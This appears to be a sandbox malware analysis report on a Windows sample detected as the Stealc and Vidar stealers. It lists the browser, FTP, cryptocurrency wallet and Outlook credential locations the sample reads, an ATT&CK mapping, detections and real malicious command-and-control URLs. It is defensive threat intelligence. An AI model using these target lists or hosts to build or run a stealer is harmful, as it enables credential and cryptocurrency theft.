Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: 8ec8c5c339.exe PID: 8052, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0000001E.00000002.2782069458.00000000026DA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2721852651.00000000025EA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2741806930.00000000024C7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 8ec8c5c339.exe PID: 8052, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8ec8c5c339.exe PID: 6704, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8ec8c5c339.exe PID: 848, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: 8ec8c5c339.exe PID: 8052, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C3B0C40 sqlite3_bind_zeroblob,	8_2_6C3B0C40
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C3B0D60 sqlite3_bind_parameter_name,	8_2_6C3B0D60
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C2D8EA0 sqlite3_clear_bindings,	8_2_6C2D8EA0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C3B0B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	8_2_6C3B0B40
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C2DC030 sqlite3_bind_parameter_count,	8_2_6C2DC030
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C2D6070 PR_Listen,	8_2_6C2D6070
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C2DC050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	8_2_6C2DC050

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	11 Input Capture	3 File and Directory Discovery	Remote Desktop Protocol	4 Data from Local System	22 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	12 Process Injection	3 Obfuscated Files or Information	Security Account Manager	236 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Scheduled Task/Job	23 Software Packing	NTDS	761 Security Software Discovery	Distributed Component Object Model	11 Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	11 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	261 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	261 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
8NjcvPNvUr.exe	52%	Virustotal		Browse
8NjcvPNvUr.exe	100%	Avira	TR/Crypt.TPM.Gen
8NjcvPNvUr.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	HEUR/AGEN.1312596
C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	100%	Avira	HEUR/AGEN.1314148
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	HEUR/AGEN.1314148
C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	100%	Avira	HEUR/AGEN.1312596
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\userKFHCAEGCBF.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	100%	Joe Sandbox ML
C:\Users\userKFHCAEGCBF.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	39%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	39%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
example.org	0%	Virustotal	Browse
prod.balrog.prod.cloudops.mozgcp.net	0%	Virustotal	Browse
prod.classify-client.prod.webservices.mozgcp.net	0%	Virustotal	Browse
ipv4only.arpa	0%	Virustotal	Browse
youtube-ui.l.google.com	0%	Virustotal	Browse
prod.detectportal.prod.cloudops.mozgcp.net	0%	Virustotal	Browse
prod.ads.prod.webservices.mozgcp.net	0%	Virustotal	Browse
contile.services.mozilla.com	0%	Virustotal	Browse
spocs.getpocket.com	0%	Virustotal	Browse
detectportal.firefox.com	0%	Virustotal	Browse
prod.content-signature-chains.prod.webservices.mozgcp.net	0%	Virustotal	Browse
content-signature-2.cdn.mozilla.net	0%	Virustotal	Browse
www.youtube.com	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	0%	URL Reputation	safe
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
https://merino.services.mozilla.com/api/v1/suggest	0%	URL Reputation	safe
http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.cr	0%	URL Reputation	safe
https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect	0%	URL Reputation	safe
https://spocs.getpocket.com/spocs	0%	URL Reputation	safe
https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill	0%	URL Reputation	safe
https://screenshots.firefox.com	0%	URL Reputation	safe
https://completion.amazon.com/search/complete?q=	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report	0%	URL Reputation	safe
https://ads.stickyadstv.com/firefox-etp	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab	0%	URL Reputation	safe
https://monitor.firefox.com/breach-details/	0%	URL Reputation	safe
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	0%	URL Reputation	safe
https://xhr.spec.whatwg.org/#sync-warning	0%	URL Reputation	safe
https://www.amazon.com/exec/obidos/external-search/	0%	URL Reputation	safe
https://profiler.firefox.com/	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v4/addons/addon/	0%	URL Reputation	safe
https://tracking-protection-issues.herokuapp.com/new	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report	0%	URL Reputation	safe
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	0%	URL Reputation	safe
https://api.accounts.firefox.com/v1	0%	URL Reputation	safe
http://exslt.org/common	0%	URL Reputation	safe
https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/	0%	URL Reputation	safe
https://fpn.firefox.com	0%	URL Reputation	safe
https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabMozRequestFullSc	0%	URL Reputation	safe
http://85.28.47.31/8405906461a5200c/vcruntime140.dll	100%	Avira URL Cloud	malware
https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	Virustotal		Browse
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	0%	URL Reputation	safe
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	0%	Avira URL Cloud	safe
https://www.youtube.com/	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield	0%	URL Reputation	safe
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	0%	URL Reputation	safe
https://www.openh264.org//	0%	Avira URL Cloud	safe
http://85.28.47.31/Iw	100%	Avira URL Cloud	malware
https://bugzilla.mo	0%	URL Reputation	safe
https://mitmdetection.services.mozilla.com/	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
https://amazon.com	0%	URL Reputation	safe
https://www.openh264.org//	0%	Virustotal		Browse
https://static.adsafeprotected.com/firefox-etp-js	0%	URL Reputation	safe
https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture	0%	URL Reputation	safe
https://spocs.getpocket.com/	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	0%	URL Reputation	safe
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	0%	URL Reputation	safe
https://monitor.firefox.com/user/breach-stats?includeResolved=true	0%	URL Reputation	safe
http://85.28.47.31/8405906461a5200c/vcruntime140.dll	17%	Virustotal		Browse
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	0%	URL Reputation	safe
https://safebrowsing.google.com/safebrowsing/diagnostic?site=	0%	URL Reputation	safe
https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4	0%	Avira URL Cloud	safe
https://screenshots.firefox.comzA8	0%	Avira URL Cloud	safe
http://85.28.47.31/5499d72b3a3e55be.phpaY	100%	Avira URL Cloud	malware
https://static.adsafeprotected.com/firefox-etp-pixelchrome://extensions/content/schemas/manifest.jso	0%	Avira URL Cloud	safe
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	0%	Virustotal		Browse
http://185.215.113.19/Vi9leo/index.php	100%	Avira URL Cloud	phishing
http://185.215.113.19/Vi9leo/index.phpM:S	100%	Avira URL Cloud	phishing
http://185.215.113.19/Vi9leo/index.php	2%	Virustotal		Browse
http://185.215.113.19/Local	100%	Avira URL Cloud	phishing
https://www.google.com/policies/privacy/mozIGeckoMediaPluginChromeService	0%	Avira URL Cloud	safe
https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4	0%	Virustotal		Browse
http://85.28.47.31/cwx	100%	Avira URL Cloud	malware
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsm	0%	Avira URL Cloud	safe
http://85.28.47.31/8405906461a5200c/freebl3.dlly	100%	Avira URL Cloud	malware
https://www.openh264.org/getActiveAddons/	0%	Avira URL Cloud	safe
https://github.com/mozilla-services/screenshots	0%	Avira URL Cloud	safe
https://html.spec.whatwg.org/#the-hr-element-2	0%	Virustotal		Browse
https://www.openh264.org/getActiveAddons/	0%	Virustotal		Browse
http://85.28.47.31/8405906461a5200c/freebl3.dlly	22%	Virustotal		Browse
http://exslt.org/sets	0%	Avira URL Cloud	safe
https://github.com/mozilla-services/screenshots	0%	Virustotal		Browse
http://src.chromium.org/viewvc/chrome/trunk/src/third_party/cld/languages/internal/languages.cc	0%	Avira URL Cloud	safe
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsm	0%	Virustotal		Browse
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing	0%	Avira URL Cloud	safe
http://85.28.47.31/8405906461a5200c/softokn3.dll	100%	Avira URL Cloud	malware
https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881The	0%	Avira URL Cloud	safe
http://85.28.47.31/8405906461a5200c/softokn3.dllF	20%	Virustotal		Browse
http://src.chromium.org/viewvc/chrome/trunk/src/third_party/cld/languages/internal/languages.cc	0%	Virustotal		Browse
https://firefox.settings.services.mozilla.com/v1i	0%	Avira URL Cloud	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV	0%	Avira URL Cloud	safe
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing	0%	Virustotal		Browse
http://exslt.org/sets	0%	Virustotal		Browse
https://www.widevine.com/	0%	Avira URL Cloud	safe
https://screenshots.firefox.com/isUnderHiddenEmbedderElement	0%	Avira URL Cloud	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
https://www.widevine.com/	0%	Virustotal		Browse
https://firefox.settings.services.mozilla.com/v1i	0%	Virustotal		Browse
https://www.google.com/policies/privacy/2	0%	Avira URL Cloud	safe
http://exslt.org/dates-and-times	0%	Avira URL Cloud	safe
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	0%	Avira URL Cloud	safe
http://85.28.47.31/8405906461a5200c/nss3.dll	100%	Avira URL Cloud	malware
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm	0%	Avira URL Cloud	safe
http://85.28.47.31/5499d72b3a3e55be.php-w6	100%	Avira URL Cloud	malware
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsmr	0%	Avira URL Cloud	safe
http://127.0.0.1:	0%	Avira URL Cloud	safe
https://bugzilla.mozilla.org/show_bug.cgi?id=1238180Required	0%	Avira URL Cloud	safe
https://www.youtube.com/accountC:	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
example.org	93.184.215.14	true	false	0%, Virustotal, Browse	unknown
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	0%, Virustotal, Browse	unknown
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	0%, Virustotal, Browse	unknown
youtube-ui.l.google.com	142.250.184.238	true	false	0%, Virustotal, Browse	unknown
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	0%, Virustotal, Browse	unknown
ipv4only.arpa	192.0.0.170	true	false	0%, Virustotal, Browse	unknown
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false	0%, Virustotal, Browse	unknown
contile.services.mozilla.com	34.117.188.166	true	false	0%, Virustotal, Browse	unknown
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false	0%, Virustotal, Browse	unknown
spocs.getpocket.com	unknown	unknown	true	0%, Virustotal, Browse	unknown
detectportal.firefox.com	unknown	unknown	true	0%, Virustotal, Browse	unknown
content-signature-2.cdn.mozilla.net	unknown	unknown	true	0%, Virustotal, Browse	unknown
www.youtube.com	unknown	unknown	true	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://85.28.47.31/8405906461a5200c/vcruntime140.dll	true	17%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.215.113.19/Vi9leo/index.php	true	2%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://85.28.47.31/8405906461a5200c/softokn3.dll	true	Avira URL Cloud: malware	unknown
http://85.28.47.31/8405906461a5200c/nss3.dll	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.openh264.org//	firefox.exe, 00000023.00000002.3168184572.000002862DC8B000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://85.28.47.31/Iw	8ec8c5c339.exe, 0000000A.00000002.2721852651.0000000002621000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	8ec8c5c339.exe, 00000008.00000002.2741806930.0000000002515000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4	firefox.exe, 00000018.00000002.2636379005.00000238F5289000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3306154976.000002862E803000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l	firefox.exe, 00000023.00000002.3108413567.000002862DAF6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://screenshots.firefox.comzA8	firefox.exe, 00000023.00000002.2978941920.000002862D252000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://85.28.47.31/5499d72b3a3e55be.phpaY	8ec8c5c339.exe, 00000008.00000002.2741806930.0000000002515000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	8ec8c5c339.exe, 00000008.00000002.2772437100.0000000028AA1000.00000004.00000020.00020000.00000000.sdmp, 8ec8c5c339.exe, 00000008.00000002.2741806930.0000000002515000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2636379005.00000238F5289000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2628599943.00000238F2EAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2644160751.000001F4143C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3306154976.000002862E803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3321697398.000002863106A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3321697398.000002863107C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://static.adsafeprotected.com/firefox-etp-pixelchrome://extensions/content/schemas/manifest.jso	firefox.exe, 00000018.00000002.2631652987.00000238F3815000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 00000018.00000002.2625566496.00000238E76DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2644160751.000001F414372000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2938979510.0000028621AD7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3339121279.00000286320B4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
